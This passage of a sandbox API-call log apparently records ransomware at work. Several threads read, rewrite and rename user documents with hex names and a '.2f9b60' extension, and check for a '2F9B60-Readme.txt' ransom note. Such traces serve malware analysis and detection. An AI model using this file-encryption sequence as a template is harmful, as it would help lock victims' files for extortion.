Flags=0x0, BaseAddress=0x1b82a8d0) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aae0) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0092.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b784250 [0092.523] wcscpy (in: _Dest=0x1b784250, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx" [0092.523] wcscat (in: _Dest=0x1b784250, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx.2f9b60" [0092.523] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx.2f9b60", NtPathName=0x21a7f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce11600 [0092.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0092.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0092.546] NtQueryInformationFile (in: FileHandle=0xd20, IoStatusBlock=0x21a7f6f8, FileInformation=0x21a7f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21a7f6f8, FileInformation=0x21a7f708) returned 0x0 [0092.546] NtSetInformationFile (FileHandle=0xd20, IoStatusBlock=0x21a7f6f8, FileInformation=0x21a7f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 [0092.549] FlushFileBuffers (hFile=0xd20) returned 1 [0092.552] CloseHandle (hObject=0xd20) returned 1 [0092.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ee10 [0092.554] wcscpy (in: _Dest=0x1b85ee10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.554] wcscat (in: _Dest=0x1b85ee10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.554] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0092.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 Thread: id = 497 os_tid = 0xc98 [0092.385] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ci4TGDRBMrmyJBdK.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ci4tgdrbmrmyjbdk.xls")) returned 0x20 [0092.386] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ci4TGDRBMrmyJBdK.xls", dwFileAttributes=0x20) returned 1 [0092.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ci4TGDRBMrmyJBdK.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ci4tgdrbmrmyjbdk.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0092.453] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x2199f800 | out: lpFileSize=0x2199f800*=84011) returned 1 [0092.453] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x14827, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.453] ReadFile (in: hFile=0xd04, lpBuffer=0x2199f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2199f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2199f780*, lpNumberOfBytesRead=0x2199f7c8*=0x4, lpOverlapped=0x0) returned 1 [0092.454] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0092.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.454] NtQuerySystemTime (in: CurrentTime=0x2199f6c0 | out: CurrentTime=0x2199f6c0*=132462176982874000) returned 0x0 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x7f678e26 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0xc12fa07 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x63a153a [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x9338b91 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x6be0fa56 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x39e75657 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x423443bf [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x3a48e902 [0092.454] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x769ecd4d [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x71bbcd95 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x28d59049 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x62a85fdf [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x5a602f90 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x51b21782 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x410a1ece [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x51dcf042 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x1673804d [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x4d72b056 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x1fb40bfc [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x11468094 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x9b8a918 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x6bb9ee5a [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x1673804d [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x4a0ecf2f [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x1f06ac76 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x51da1f04 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x6565c552 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x7ad71416 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x6d49d53e [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x61bc3720 [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x54176eeb [0092.455] RtlRandomEx (in: Seed=0x2199f6b0 | out: Seed=0x2199f6b0) returned 0x560c1b02 [0092.465] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.466] ReadFile (in: hFile=0xd04, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2199f720, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2199f720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.466] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0092.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b710) returned 1 [0092.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.467] WriteFile (in: hFile=0xd04, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2199f720, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2199f720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.487] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.487] ReadFile (in: hFile=0xd04, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2199f720, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2199f720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.487] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0092.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0092.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0092.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0092.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0092.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.488] WriteFile (in: hFile=0xd04, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2199f720, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2199f720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.499] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x10c2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.500] ReadFile (in: hFile=0xd04, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2199f720, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2199f720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.500] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x10c2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0092.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a480 [0092.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a480) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a480 [0092.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0092.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.500] WriteFile (in: hFile=0xd04, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2199f720, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2199f720*=0x3c00, lpOverlapped=0x0) returned 1 [0092.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1cd0 [0092.504] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.504] WriteFile (in: hFile=0xd04, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x2199f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2199f7d0*=0x15a, lpOverlapped=0x0) returned 1 [0092.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0092.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0092.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae70) returned 1 [0092.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82ae70 [0092.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a720 [0092.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a630 [0092.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a630) returned 1 [0092.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0092.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9d030 [0092.574] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="95") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="2a") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="57") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="c3") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="f8") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="62") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="de") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="27") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="dd") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="f0") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="3f") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="a0") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="a3") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="0e") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="e2") returned 2 [0092.574] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="8f") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="6d") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="ec") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="78") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="23") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="c3") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="25") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="cf") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="3f") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="26") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="73") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="53") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="01") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="93") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="98") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="8c") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="10") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="cf") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="cb") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="db") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="0f") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d07c, _Format="%c%c" | out: _Dest="f5") returned 2 [0092.575] sprintf (in: _Dest=0x1cd9d07e, _Format="%c%c" | out: _Dest="f8") returned 2 [0092.575] RtlInitAnsiString (in: DestinationString=0x2199f848, SourceString="952a57c3f862de2f27ddf03fa0a30ee28f6dec7823c325cf3f2673530193988c5b10cfcbdb0ff5f8" | out: DestinationString="952a57c3f862de2f27ddf03fa0a30ee28f6dec7823c325cf3f2673530193988c5b10cfcbdb0ff5f8") [0092.576] RtlAnsiStringToUnicodeString (in: DestinationString=0x2199f818, SourceString="952a57c3f862de2f27ddf03fa0a30ee28f6dec7823c325cf3f2673530193988c5b10cfcbdb0ff5f8", AllocateDestinationString=1 | out: DestinationString="952a57c3f862de2f27ddf03fa0a30ee28f6dec7823c325cf3f2673530193988c5b10cfcbdb0ff5f8") returned 0x0 [0092.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11600 [0092.576] wcscat (in: _Dest=0x1b784250, _Source="952a57c3f862de2f27dd" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\952a57c3f862de2f27dd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\952a57c3f862de2f27dd" [0092.576] wcscat (in: _Dest=0x1b784250, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\952a57c3f862de2f27dd.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\952a57c3f862de2f27dd.2f9b60" [0092.576] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\952a57c3f862de2f27dd.2f9b60", NtPathName=0x2199f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\952a57c3f862de2f27dd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce116b0 [0092.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce116b0) returned 1 [0092.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0092.577] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x2199f858, FileInformation=0x2199f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2199f858, FileInformation=0x2199f868) returned 0x0 [0092.577] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x2199f858, FileInformation=0x2199f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 [0092.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0092.579] FlushFileBuffers (hFile=0xd04) returned 1 [0092.580] CloseHandle (hObject=0xd04) returned 1 [0092.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dbf0 [0092.581] wcscpy (in: _Dest=0x1b79dbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.581] wcscat (in: _Dest=0x1b79dbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.581] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0092.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7840a0) returned 1 Thread: id = 498 os_tid = 0xc9c [0092.387] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CxPavloCARsM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cxpavlocarsm.pptx")) returned 0x20 [0092.387] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CxPavloCARsM.pptx", dwFileAttributes=0x20) returned 1 [0092.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CxPavloCARsM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cxpavlocarsm.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0092.441] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x21b6fd40 | out: lpFileSize=0x21b6fd40*=50028) returned 1 [0092.441] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0xc368, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.441] ReadFile (in: hFile=0xdac, lpBuffer=0x21b6fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21b6fd08, lpOverlapped=0x0 | out: lpBuffer=0x21b6fcc0*, lpNumberOfBytesRead=0x21b6fd08*=0x4, lpOverlapped=0x0) returned 1 [0092.442] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0092.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.442] NtQuerySystemTime (in: CurrentTime=0x21b6fc00 | out: CurrentTime=0x21b6fc00*=132462176982718000) returned 0x0 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x29e550a5 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x14290cea [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x14009e4b [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x2a450f70 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x40cf3931 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x6be0fa56 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x20fbda9c [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x61bc3720 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x35486cdd [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x3c574b41 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x9338b91 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x46a961ed [0092.442] 